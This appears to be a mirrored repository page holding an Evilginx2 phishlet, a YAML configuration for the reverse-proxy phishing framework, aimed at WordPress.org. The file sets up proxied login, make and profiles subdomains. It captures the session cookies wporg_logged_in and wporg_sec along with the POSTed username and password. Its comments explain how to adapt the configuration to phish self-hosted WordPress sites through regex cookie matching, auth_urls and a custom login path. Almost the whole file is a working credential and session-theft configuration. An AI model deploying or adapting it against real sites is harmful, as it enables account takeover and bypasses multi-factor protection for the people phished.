mirror of
https://github.com/kgretzky/evilginx2
synced 2026-06-08 15:15:53 +00:00
Meitar M
97 lines
2.6 KiB
YAML
97 lines
2.6 KiB
YAML
# Evilginx phishlet configuration file for WordPress.org.
|
|
#
|
|
# This is a phishing configuration for the main WordPress.org domain,
|
|
# it is *not* immediately useful for phishing self-hosted sites that
|
|
# run on the WordPress software.
|
|
#
|
|
# For such self-hosted sites, some modifications are needed. Refer to
|
|
# the comments in this file for some guidance on creating a phishlet
|
|
# to use against self-hosted WordPress sites.
|
|
---
|
|
name: 'WordPress.org'
|
|
author: '@meitar'
|
|
min_ver: '2.3.0'
|
|
|
|
proxy_hosts:
|
|
# Proxy the primary domain.
|
|
- phish_sub: ''
|
|
orig_sub: ''
|
|
domain: 'wordpress.org'
|
|
session: true
|
|
is_landing: true
|
|
|
|
# These proxied should be removed when phishing self-hosted sites.
|
|
- phish_sub: 'login'
|
|
orig_sub: 'login'
|
|
domain: 'wordpress.org'
|
|
session: true
|
|
is_landing: false
|
|
- phish_sub: 'make'
|
|
orig_sub: 'make'
|
|
domain: 'wordpress.org'
|
|
session: true
|
|
is_landing: false
|
|
- phish_sub: 'profiles'
|
|
orig_sub: 'profiles'
|
|
domain: 'wordpress.org'
|
|
session: true
|
|
is_landing: false
|
|
|
|
sub_filters: []
|
|
|
|
# For self-hosted WordPress sites, you may find it easier to use a
|
|
# regular expression to match session cookies, as the cookie names
|
|
# are produced unqiely per-site. This can be done as follows:
|
|
#
|
|
# ```yaml
|
|
# - domain: 'self-hosted-domain.com'
|
|
# keys:
|
|
# - 'wordpress_sec_.*,regexp'
|
|
# - 'wordpress_logged_in_.*,regexp'
|
|
# ```
|
|
#
|
|
# If you do choose to use the regular expression facility, you
|
|
# will also then need to use the `auth_urls` dictionary to define
|
|
# when Evilginx should actually capture these tokens. Something
|
|
# like this should do the trick:
|
|
#
|
|
# ```yaml
|
|
# auth_urls:
|
|
# - '.*/wp-admin/.*'
|
|
# ```
|
|
#
|
|
# The above ensures that the `auth_tokens` are noticed whenever
|
|
# the phished user makes requests to URLs containing `wp-admin`.
|
|
#
|
|
# For the WordPress.org service itself, however, none of the above is
|
|
# necessary, and the following simple `auth_tokens` dictionary should
|
|
# work just fine.
|
|
auth_tokens:
|
|
- domain: '.wordpress.org'
|
|
keys: ['wporg_logged_in', 'wporg_sec']
|
|
|
|
credentials:
|
|
username:
|
|
key: 'log'
|
|
search: '(.*)'
|
|
type: 'post'
|
|
password:
|
|
key: 'pwd'
|
|
search: '(.*)'
|
|
type: 'post'
|
|
|
|
# For a self-hosted WordPress site, you'll probably want to define the
|
|
# `login` dictionary here as follows:
|
|
#
|
|
# ```yaml
|
|
# login:
|
|
# domain: 'self-hosted-domain.com'
|
|
# path: '/wp-login.php'
|
|
# ```
|
|
#
|
|
# Some WordPress plugins, such as WooCommerce, change the URL of the
|
|
# login page. You'll want to examine the specific site for this.
|
|
login:
|
|
domain: 'login.wordpress.org'
|
|
path: '/'
|